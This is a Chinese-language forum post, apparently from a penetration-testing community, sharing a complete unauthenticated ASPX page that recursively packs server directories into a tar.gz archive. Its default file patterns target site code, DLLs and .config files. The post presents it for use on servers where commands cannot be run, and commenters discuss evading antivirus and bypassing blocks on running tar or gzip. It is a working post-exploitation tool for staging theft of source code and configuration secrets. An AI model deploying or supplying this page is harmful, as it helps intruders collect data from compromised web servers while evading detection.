用aspx打包tar.gz
有时候环境中无法执行命令,但又需要打包文件,可以用这个脚本aspx打包
自评TCV 1
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Web" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (IsPostBack)
{
errorLabel.Text = "";
statusLabel.Text = "";
string sourceDirectory = this.sourceDirectory.Text;
string outputPath = this.outputPath.Text;
string patternsText = filePatterns.Text;
if (string.IsNullOrEmpty(sourceDirectory) || string.IsNullOrEmpty(outputPath))
{
errorLabel.Text = "Directory and output file path cannot be empty";
return;
}
if (!Directory.Exists(sourceDirectory))
{
errorLabel.Text = "Source directory does not exist";
return;
}
string[] patterns = patternsText.Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
try
{
CreateTarGz(sourceDirectory, outputPath, patterns);
statusLabel.Text = "Compression completed! File saved to: " + outputPath;
}
catch (Exception ex)
{
errorLabel.Text = "Error: " + ex.Message;
}
}
}
public static void CreateTarGz(string sourceDirectory, string outputPath, string[] includePatterns)
{
using (var outputStream = File.Create(outputPath))
using (var gzipStream = new GZipStream(outputStream, CompressionMode.Compress))
{
var files = GetFilesRecursive(sourceDirectory, includePatterns);
foreach (var file in files)
{
var relativePath = file.Substring(sourceDirectory.Length + 1).Replace('\\','/');
AddFileToTar(gzipStream, file, relativePath);
}
var endBlock = new byte[1024];
gzipStream.Write(endBlock, 0, endBlock.Length);
}
}
private static List<string> GetFilesRecursive(string directory, string[] patterns)
{
var result = new List<string>();
foreach (var pattern in patterns)
{
try
{
result.AddRange(Directory.GetFiles(directory, pattern, SearchOption.AllDirectories));
}
catch
{
}
}
return result;
}
private static void AddFileToTar(Stream tarStream, string filePath, string entryName)
{
var fileInfo = new FileInfo(filePath);
var header = CreateTarHeader(entryName, fileInfo.Length, fileInfo.LastWriteTime);
tarStream.Write(header, 0, header.Length);
using (var fileStream = File.OpenRead(filePath))
{
fileStream.CopyTo(tarStream);
var remaining = 512 - (fileInfo.Length % 512);
if (remaining != 512)
{
var padding = new byte[remaining];
tarStream.Write(padding, 0, padding.Length);
}
}
}
private static byte[] CreateTarHeader(string fileName, long fileSize, DateTime lastModified)
{
var header = new byte[512];
var ascii = Encoding.ASCII;
var nameBytes = ascii.GetBytes(fileName);
Array.Copy(nameBytes, header, Math.Min(nameBytes.Length, 100));
var modeBytes = ascii.GetBytes("0000777");
Array.Copy(modeBytes, 0, header, 100, modeBytes.Length);
var uidBytes = ascii.GetBytes("0000000");
Array.Copy(uidBytes, 0, header, 108, uidBytes.Length);
Array.Copy(uidBytes, 0, header, 116, uidBytes.Length);
var sizeStr = Convert.ToString(fileSize, 8).PadLeft(11, '0') + " ";
var sizeBytes = ascii.GetBytes(sizeStr);
Array.Copy(sizeBytes, 0, header, 124, sizeBytes.Length);
var timestamp = (long)(lastModified - new DateTime(1970, 1, 1)).TotalSeconds;
var timeStr = Convert.ToString(timestamp, 8).PadLeft(11, '0') + " ";
var timeBytes = ascii.GetBytes(timeStr);
Array.Copy(timeBytes, 0, header, 136, timeBytes.Length);
header[156] = (byte)'0';
CalculateChecksum(header);
return header;
}
private static void CalculateChecksum(byte[] header)
{
for (int i = 148; i < 156; i++)
{
header[i] = (byte)' ';
}
uint checksum = 0;
for (int i = 0; i < 512; i++)
{
checksum += header[i];
}
var checksumStr = Convert.ToString(checksum, 8).PadLeft(6, '0') + "\0 ";
var checksumBytes = Encoding.ASCII.GetBytes(checksumStr);
Array.Copy(checksumBytes, 0, header, 148, checksumBytes.Length);
}
</script>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Directory Compression Tool</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; background-color: #f5f5f5; }
.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
.form-group { margin-bottom: 15px; }
label { display: inline-block; width: 120px; font-weight: bold; }
input[type="text"] { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; }
.btn { background-color: #4CAF50; color: white; padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; }
.btn:hover { background-color: #45a049; }
.error { color: #d9534f; margin-top: 10px; }
.success { color: #5cb85c; margin-top: 10px; }
small { color: #666; }
</style>
</head>
<body>
<div class="container">
<h1>Directory Compression Tool</h1>
<form id="form1" runat="server">
<div class="form-group">
<label for="sourceDirectory">Source Directory:</label>
<asp:TextBox ID="sourceDirectory" runat="server" placeholder="Example: C:\myfolder"></asp:TextBox>
</div>
<div class="form-group">
<label for="outputPath">Output File:</label>
<asp:TextBox ID="outputPath" runat="server" placeholder="Example: C:\output.tgz"></asp:TextBox>
</div>
<div class="form-group">
<label for="filePatterns">File Patterns:</label>
<asp:TextBox ID="filePatterns" runat="server" Text="*.as*,*.dll,*.config"></asp:TextBox>
<small>(Multiple patterns separated by commas)</small>
</div>
<div class="form-group">
<asp:Button ID="compressButton" runat="server" Text="Compress Directory" CssClass="btn" />
</div>
<asp:Label ID="statusLabel" runat="server" CssClass="success"></asp:Label>
<asp:Label ID="errorLabel" runat="server" CssClass="error"></asp:Label>
</form>
</div>
</body>
</html>
自评TCV 1
评论5次
收藏了,这个估计也会被杀吧
有没有免杀相关的
aspx版本的gzip, 避免了直接运行gzip/tar被拦截
收藏了 dddd
可以的,还有没有其他语言的版本比如php